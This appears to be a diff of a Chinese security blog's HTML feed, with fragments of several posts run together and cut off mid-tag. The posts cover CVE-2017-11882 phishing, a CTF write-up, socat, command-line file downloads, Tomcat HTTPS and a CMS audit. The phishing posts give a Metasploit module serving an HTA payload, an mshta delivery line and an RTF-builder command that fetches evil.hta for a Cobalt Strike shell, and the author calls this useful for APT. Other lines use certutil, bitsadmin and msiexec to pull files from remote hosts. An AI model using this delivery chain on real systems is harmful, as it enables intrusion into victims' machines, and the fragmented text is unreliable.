style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>D:\WWW\***\master\&gt; query user +</span></span><span style="display:flex;"><span>* 没有用户 +</span></span></code></pre></td></tr></table> +</div> +</div><p>没有管理员在线</p>CVE-2017-11882钓鱼攻击https://payloads.online/archivers/2017-11-22/1/Wed, 22 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-22/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此次攻击使用了小组师傅改写的CVE利用脚本,能够将内容自定义,大大增加了小鱼上钩的可能。</p> <h2 id="0x01-环境简介">0x01 环境简介</h2> <ul> @@ -3376,7 +6764,64 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52 -</span></code></prCVE-2017-11882漏洞复现https://payloads.online/archivers/2017-11-21/1/Tue, 21 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-21/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#75715e">##</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># This module requires Metasploit: https://metasploit.com/download</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># Current source: https://github.com/rapid7/metasploit-framework</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">##</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MetasploitModule</span> <span style="color:#f92672">&lt;</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Exploit</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Remote</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">Rank</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">NormalRanking</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">include</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Exploit</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Remote</span><span style="color:#f92672">::</span><span style="color:#66d9ef">HttpServer</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">initialize</span>(info <span style="color:#f92672">=</span> {}) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">super</span>(update_info(info, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Name&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;Microsoft Office Payload Delivery&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Description&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">%q{ +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> This module generates an command to place within +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> a word document, that when executed, will retrieve a HTA payload +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> via HTTP from an web server. Currently have not figured out how +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> to generate a doc. +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> }</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;License&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">MSF_LICENSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Arch&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">ARCH_X86</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Platform&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;win&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Targets&#39;</span> <span style="color:#f92672">=&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;Automatic&#39;</span>, {} <span style="color:#f92672">]</span>, +</span></span><span style="display:flex;"><span> <span style="color:#f92672">]</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;DefaultTarget&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> )) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">on_request_uri</span>(cli, _request) +</span></span><span style="display:flex;"><span> print_status(<span style="color:#e6db74">&#34;Delivering payload&#34;</span>) +</span></span><span style="display:flex;"><span> p <span style="color:#f92672">=</span> regenerate_payload(cli) +</span></span><span style="display:flex;"><span> data <span style="color:#f92672">=</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Util</span><span style="color:#f92672">::</span><span style="color:#66d9ef">EXE</span><span style="color:#f92672">.</span>to_executable_fmt( +</span></span><span style="display:flex;"><span> framework, +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">ARCH_X86</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;win&#39;</span>, +</span></span><span style="display:flex;"><span> p<span style="color:#f92672">.</span>encoded, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;hta-psh&#39;</span>, +</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">:arch</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">ARCH_X86</span>, <span style="color:#e6db74">:platform</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;win &#39;</span>} +</span></span><span style="display:flex;"><span> ) +</span></span><span style="display:flex;"><span> send_response(cli, data, <span style="color:#e6db74">&#39;Content-Type&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;application/hta&#39;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">primer</span> +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> get_uri +</span></span><span style="display:flex;"><span> print_status(<span style="color:#e6db74">&#34;Place the following DDE in an MS document:&#34;</span>) +</span></span><span style="display:flex;"><span> print_line(<span style="color:#e6db74">&#34;mshta.exe </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">#{</span>url<span style="color:#e6db74">}</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-配置环境">0x02 配置环境</h2> +<p>首先我要将<code>阿里云安全组</code>配置一下,预留两个端口:</p>CVE-2017-11882漏洞复现https://payloads.online/archivers/2017-11-21/1/Tue, 21 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-21/1/<h2 id="0x00-前言">0x00 前言</h2> <p>参考backlion师傅的PDF,记录一下这个过程。</p> <p>2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。</p> @@ -3403,7 +6848,22 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </p> <p>将生成的hta文档放入WebServer根目录:http://192.168.3.106/evil.hta</p> -<p>我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell</p>CTF - 美眉的手机号https://payloads.online/archivers/2017-11-14/1/Tue, 14 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-14/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell</p> +<h3 id="生成一个rtfdoc文档">生成一个rtf/doc文档</h3> +<p>github上已有生成脚本</p> +<p><code>webdav_exec_CVE-2017-11882.py</code> 地址: <a href="http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py">http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py</a></p> +<p>生成rtf文档:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e &#34;mshta http://192.168.3.106/evil.hta&#34; -o test.rtf +</span></span><span style="display:flex;"><span>!!! Completed !!! +</span></span></code></pre></td></tr></table> +</div> +</div><p>最后将test.rtf在目标机器上执行 <code>=_=||</code>,其实可以实战的,对于APT的帮助很大</p>CTF - 美眉的手机号https://payloads.online/archivers/2017-11-14/1/Tue, 14 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-14/1/<h2 id="0x00-前言">0x00 前言</h2> <p>十一月十一号,在北科大参加了一场CTF,也是第一次投身真正的比赛</p> <p>个人感觉,CTF并不是一种学习方式,但是绝对可以考验你的技术深度,这次去北京,确实感受到了那种极客精神,不管题目难或易,都有可圈可点之处,我将他们看作一道道关卡,将自己掌握的知识不断融合,去开辟新的思路,我很享受这个过程,其中,主要做了两道比较深刻的题目,在这里拿出来与大家分享,由于当时场地不允许连接外网,不能查阅资料,更获取不到服务器上的题目源代码,我只能回忆题目中的逻辑,通过PHP将它实现,略有改动。</p> <p>我自己还原的源代码可以在这里看到:<code>https://github.com/Rvn0xsy/ctf_get_phone</code></p> @@ -3467,7 +6927,46 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 -</span></code></prsocat 使用手册https://payloads.online/tools/socat/Thu, 09 Nov 2017 00:00:00 +0000https://payloads.online/tools/socat/<h2 id="socat简介">socat简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#register&#34;</span>).<span style="color:#a6e22e">bind</span>(<span style="color:#e6db74">&#39;click&#39;</span>,<span style="color:#66d9ef">function</span>(){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">usernameObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#username&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">passwordObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#password&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">phoneObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#phone&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">usernameVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">usernameObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">passwordVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">passwordObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">phoneVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">phoneObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">usernameVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">usernameVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Username is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">passwordVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">passwordVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Password is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">phoneVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">phoneVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">11</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Phone is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#34;/ctf/api.php?method=register&#34;</span>,{ +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;username&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">usernameVal</span>,<span style="color:#e6db74">&#34;password&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">passwordVal</span>,<span style="color:#e6db74">&#34;phone&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">phoneVal</span> +</span></span><span style="display:flex;"><span> },<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">data</span>,<span style="color:#a6e22e">status</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">jQuery</span>.<span style="color:#a6e22e">parseJSON</span>(<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">status</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">status</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/ctf/index.php&#39;</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>; +</span></span><span style="display:flex;"><span> }<span style="color:#66d9ef">else</span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Error :&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> }) +</span></span><span style="display:flex;"><span> }); +</span></span></code></pre></td></tr></table> +</div> +</div><p>上面是绑定的点击事件,提交到<code>/ctf/api.php?method=register</code></p>socat 使用手册https://payloads.online/tools/socat/Thu, 09 Nov 2017 00:00:00 +0000https://payloads.online/tools/socat/<h2 id="socat简介">socat简介</h2> <p>socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。</p> <p>Socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、socket(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。</p> <p>Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。</p> @@ -3492,7 +6991,39 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prWindows下命令行下载文件总结https://payloads.online/archivers/2017-11-08/1/Wed, 08 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-08/1/<h2 id="0x00-powershell">0x00 Powershell</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./configure +</span></span><span style="display:flex;"><span>make +</span></span><span style="display:flex;"><span>make install +</span></span></code></pre></td></tr></table> +</div> +</div><p>具体的细节可以参考安装文档 README 。</p> +<h3 id="安装错误解决">安装错误解决</h3> +<p>在编译的过程中可能遇到如下错误:</p> +<p>解决方法有两种:</p> +<ul> +<li>第一种是禁用fips,使用如下命令配置:</li> +</ul> +<p><code>./configure --disable-fips</code></p> +<ul> +<li>第二种是安装fips</li> +</ul> +<p>首先到网站http://www.openssl.org/source/ 下载openssl-fips安装包,然后解压安装:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./config +</span></span><span style="display:flex;"><span>make +</span></span><span style="display:flex;"><span>make install +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="socat的使用">socat的使用</h2> +<p>socat的具体文档参见网站:http://www.dest-unreach.org/socat/doc/socat.html 。</p>Windows下命令行下载文件总结https://payloads.online/archivers/2017-11-08/1/Wed, 08 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-08/1/<h2 id="0x00-powershell">0x00 Powershell</h2> <p>win2003、winXP不支持</p> <p>$client = new-object System.Net.WebClient</p> <p>$client.DownloadFile(&lsquo;<a href="http://payloads.online/file.tar.gz'">http://payloads.online/file.tar.gz'</a>, &lsquo;E:\file.tar.gz&rsquo;)</p> @@ -3508,7 +7039,16 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>可以参考:http://www.163164.com/jiqiao/163164com011.htm</p> <h2 id="0x03-certutil">0x03 Certutil</h2> <p>可以参考:https://technet.microsoft.com/zh-cn/library/cc773087(WS.10).aspx</p> -<p>应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2</p>Tomcat 开启 https支持https://payloads.online/archivers/2017-08-21/1/Mon, 21 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-21/1/<h2 id="0x00-配置keystore">0x00 配置keystore</h2> +<p>应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2</p> +<p>certutil.exe -urlcache -split -f http://192.168.3.1/test.txt file.txt</p> +<h2 id="0x04-bitsadmin">0x04 bitsadmin</h2> +<p>可以参考:https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx</p> +<ul> +<li>1、<code>bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt</code></li> +<li>2、<code>bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt</code></li> +</ul> +<h2 id="0x05-msiexec">0x05 msiexec</h2> +<p>msiexec /q /i http://192.168.3.1/test.txt</p>Tomcat 开启 https支持https://payloads.online/archivers/2017-08-21/1/Mon, 21 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-21/1/<h2 id="0x00-配置keystore">0x00 配置keystore</h2> <p>要使用ssl connector,必须先创建一个keystore。他包含了服务器中被客户端用于验证服务器的数字证书。一旦客户端接受了这个证书,客户端就可以使用public key去加密他们要发送的数据。而服务器,拥有一个private key,作为唯一解密数据的密钥。</p> <p>进入JDK环境的bin目录,调用keytool来完成我们的证书生成:</p> <p><code>keytool -genkey -alias tomcat -keyalg RSA</code></p> @@ -3535,7 +7075,20 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 -</span></code></pr记一次某Cms的审计https://payloads.online/archivers/2017-08-18/1/Fri, 18 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-18/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> &lt;Connector port=&#34;8443&#34; protocol=&#34;HTTP/1.1&#34; SSLEnabled=&#34;true&#34; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> maxThreads=&#34;150&#34; scheme=&#34;https&#34; secure=&#34;true&#34; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> clientAuth=&#34;false&#34; sslProtocol=&#34;TLS&#34; /&gt; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> --&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>改成:</p>记一次某Cms的审计https://payloads.online/archivers/2017-08-18/1/Fri, 18 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-18/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此套cms采用了CI框架,之前在做漏洞平台的时候也是用的这个框架开发。</p> <p>CodeIgniter 是一个小巧但功能强大的 PHP 框架,作为一个简单而“优雅”的工具包,它可以为开发者们建立功能完善的 Web 应用程序。</p> <p>文章写的比较急,以后再补充……</p> @@ -3573,7 +7126,44 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 -</span></code></prNmap扩展开发https://payloads.online/archivers/2017-08-07/1/Mon, 07 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-07/1/<h2 id="0x00-资产扫描汇总实时监控">0x00 资产扫描、汇总、实时监控</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">defined</span>(<span style="color:#e6db74">&#39;BASEPATH&#39;</span>)) <span style="color:#66d9ef">exit</span>(<span style="color:#e6db74">&#39;No direct script access allowed&#39;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$active_group <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;default&#39;</span>; +</span></span><span style="display:flex;"><span>$query_builder <span style="color:#f92672">=</span> <span style="color:#66d9ef">TRUE</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$db[<span style="color:#e6db74">&#39;default&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>( +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dsn&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;hostname&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;localhost&#39;</span>, +</span></span><span style="display:flex;"><span> <span 